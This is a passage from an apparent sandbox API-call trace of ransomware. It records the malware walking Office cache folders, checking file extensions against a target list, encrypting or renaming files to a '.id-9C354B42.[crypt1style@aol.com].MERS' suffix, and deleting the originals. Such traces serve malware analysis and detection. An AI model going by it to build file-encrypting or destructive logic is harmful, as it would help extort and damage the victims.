(lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.408] lstrlenW (lpString=".doc") returned 4 [0042.408] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.408] lstrlenW (lpString=".docx") returned 5 [0042.408] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.408] lstrlenW (lpString=".pdf") returned 4 [0042.408] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.408] lstrlenW (lpString=".xls") returned 4 [0042.408] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.408] lstrlenW (lpString=".xlsx") returned 5 [0042.408] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.408] lstrlenW (lpString=".ppt") returned 4 [0042.408] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.408] lstrlenW (lpString=".zip") returned 4 [0042.408] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.408] lstrlenW (lpString=".rar") returned 4 [0042.408] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.408] lstrlenW (lpString=".bz2") returned 4 [0042.408] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.408] lstrlenW (lpString=".7z") returned 3 [0042.409] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.409] lstrlenW (lpString=".dbf") returned 4 [0042.409] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.409] lstrlenW (lpString=".1cd") returned 4 [0042.409] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.409] lstrlenW (lpString=".jpg") returned 4 [0042.409] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.409] lstrlenW (lpString=".doc") returned 4 [0042.409] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.409] lstrlenW (lpString=".docx") returned 5 [0042.409] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.409] lstrlenW (lpString=".pdf") returned 4 [0042.409] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.409] lstrlenW (lpString=".xls") returned 4 [0042.409] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.409] lstrlenW (lpString=".xlsx") returned 5 [0042.409] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.409] lstrlenW (lpString=".ppt") returned 4 [0042.409] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.409] lstrlenW (lpString=".zip") returned 4 [0042.409] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.409] lstrlenW (lpString=".rar") returned 4 [0042.409] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.409] lstrlenW (lpString=".bz2") returned 4 [0042.409] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.409] lstrlenW (lpString=".7z") returned 3 [0042.409] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.409] lstrlenW (lpString=".dbf") returned 4 [0042.409] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.409] lstrlenW (lpString=".1cd") returned 4 [0042.410] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0042.410] lstrlenW (lpString=".jpg") returned 4 [0042.410] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.410] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0042.410] lstrlenW (lpString="Office32MUI.msi") returned 15 [0042.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0042.410] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=873984) returned 1 [0042.410] CloseHandle (hObject=0x180) returned 1 [0042.410] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0042.410] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0042.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0042.410] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.410] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0042.411] GetLastError () returned 0x0 [0042.411] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0042.438] WriteFile (in: hFile=0x208, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0042.627] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.627] WriteFile (in: hFile=0x208, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0042.627] SetEndOfFile (hFile=0x208) returned 1 [0042.627] CloseHandle (hObject=0x208) returned 1 [0042.635] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.635] SetEndOfFile (hFile=0x180) returned 1 [0042.644] CloseHandle (hObject=0x180) returned 1 [0042.644] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0042.644] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0042.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.644] lstrlenW (lpString=".doc") returned 4 [0042.644] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.645] lstrlenW (lpString=".docx") returned 5 [0042.645] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.645] lstrlenW (lpString=".pdf") returned 4 [0042.645] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.645] lstrlenW (lpString=".xls") returned 4 [0042.645] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.645] lstrlenW (lpString=".xlsx") returned 5 [0042.645] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.645] lstrlenW (lpString=".ppt") returned 4 [0042.645] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.645] lstrlenW (lpString=".zip") returned 4 [0042.645] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.645] lstrlenW (lpString=".rar") returned 4 [0042.645] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.645] lstrlenW (lpString=".bz2") returned 4 [0042.645] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.645] lstrlenW (lpString=".7z") returned 3 [0042.645] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.645] lstrlenW (lpString=".dbf") returned 4 [0042.645] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.645] lstrlenW (lpString=".1cd") returned 4 [0042.645] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.646] lstrlenW (lpString=".jpg") returned 4 [0042.646] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.646] lstrlenW (lpString=".doc") returned 4 [0042.646] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.646] lstrlenW (lpString=".docx") returned 5 [0042.646] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.646] lstrlenW (lpString=".pdf") returned 4 [0042.646] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.646] lstrlenW (lpString=".xls") returned 4 [0042.646] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.646] lstrlenW (lpString=".xlsx") returned 5 [0042.646] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.646] lstrlenW (lpString=".ppt") returned 4 [0042.646] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.646] lstrlenW (lpString=".zip") returned 4 [0042.646] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.646] lstrlenW (lpString=".rar") returned 4 [0042.646] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.646] lstrlenW (lpString=".bz2") returned 4 [0042.646] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.646] lstrlenW (lpString=".7z") returned 3 [0042.646] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.647] lstrlenW (lpString=".dbf") returned 4 [0042.647] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.647] lstrlenW (lpString=".1cd") returned 4 [0042.647] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0042.647] lstrlenW (lpString=".jpg") returned 4 [0042.647] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.647] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0042.647] lstrlenW (lpString="InfLR.cab") returned 9 [0042.647] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0042.648] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=18874884) returned 1 [0042.648] CloseHandle (hObject=0x180) returned 1 [0042.648] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0042.648] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0042.648] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0042.648] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0042.649] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.649] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.649] ReadFile (in: hFile=0x180, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.664] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.664] ReadFile (in: hFile=0x180, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.800] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.800] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.800] ReadFile (in: hFile=0x180, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c8fc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2c8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.840] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.840] WriteFile (in: hFile=0x180, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2c8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0043.144] SetEndOfFile (hFile=0x180) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fe7e40 [0043.149] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.149] WriteFile (in: hFile=0x180, lpBuffer=0x3fe7e40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7e40*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.150] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.150] WriteFile (in: hFile=0x180, lpBuffer=0x3fe7e40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7e40*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.153] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.153] WriteFile (in: hFile=0x180, lpBuffer=0x3fe7e40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7e40*, lpNumberOfBytesWritten=0x2c8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.156] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fe7e40 | out: hHeap=0x5f0000) returned 1 [0043.156] CloseHandle (hObject=0x180) returned 1 [0043.243] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0043.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.244] lstrlenW (lpString=".doc") returned 4 [0043.244] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.244] lstrlenW (lpString=".docx") returned 5 [0043.244] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.244] lstrlenW (lpString=".pdf") returned 4 [0043.244] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.244] lstrlenW (lpString=".xls") returned 4 [0043.244] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.244] lstrlenW (lpString=".xlsx") returned 5 [0043.244] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.244] lstrlenW (lpString=".ppt") returned 4 [0043.244] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.244] lstrlenW (lpString=".zip") returned 4 [0043.244] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.244] lstrlenW (lpString=".rar") returned 4 [0043.244] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.244] lstrlenW (lpString=".bz2") returned 4 [0043.244] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.244] lstrlenW (lpString=".7z") returned 3 [0043.244] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.244] lstrlenW (lpString=".dbf") returned 4 [0043.244] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.244] lstrlenW (lpString=".1cd") returned 4 [0043.244] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.244] lstrlenW (lpString=".jpg") returned 4 [0043.244] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.244] lstrlenW (lpString=".doc") returned 4 [0043.244] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.244] lstrlenW (lpString=".docx") returned 5 [0043.244] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.245] lstrlenW (lpString=".pdf") returned 4 [0043.245] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.245] lstrlenW (lpString=".xls") returned 4 [0043.245] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.245] lstrlenW (lpString=".xlsx") returned 5 [0043.245] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.245] lstrlenW (lpString=".ppt") returned 4 [0043.245] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.245] lstrlenW (lpString=".zip") returned 4 [0043.245] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.245] lstrlenW (lpString=".rar") returned 4 [0043.245] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.245] lstrlenW (lpString=".bz2") returned 4 [0043.245] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.245] lstrlenW (lpString=".7z") returned 3 [0043.245] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.245] lstrlenW (lpString=".dbf") returned 4 [0043.245] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.245] lstrlenW (lpString=".1cd") returned 4 [0043.245] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0043.245] lstrlenW (lpString=".jpg") returned 4 [0043.245] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.245] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0043.245] lstrlenW (lpString="VisioMUI.msi") returned 12 [0043.245] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0043.246] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=2797568) returned 1 [0043.246] CloseHandle (hObject=0x180) returned 1 [0043.246] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0043.246] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.246] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0043.246] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 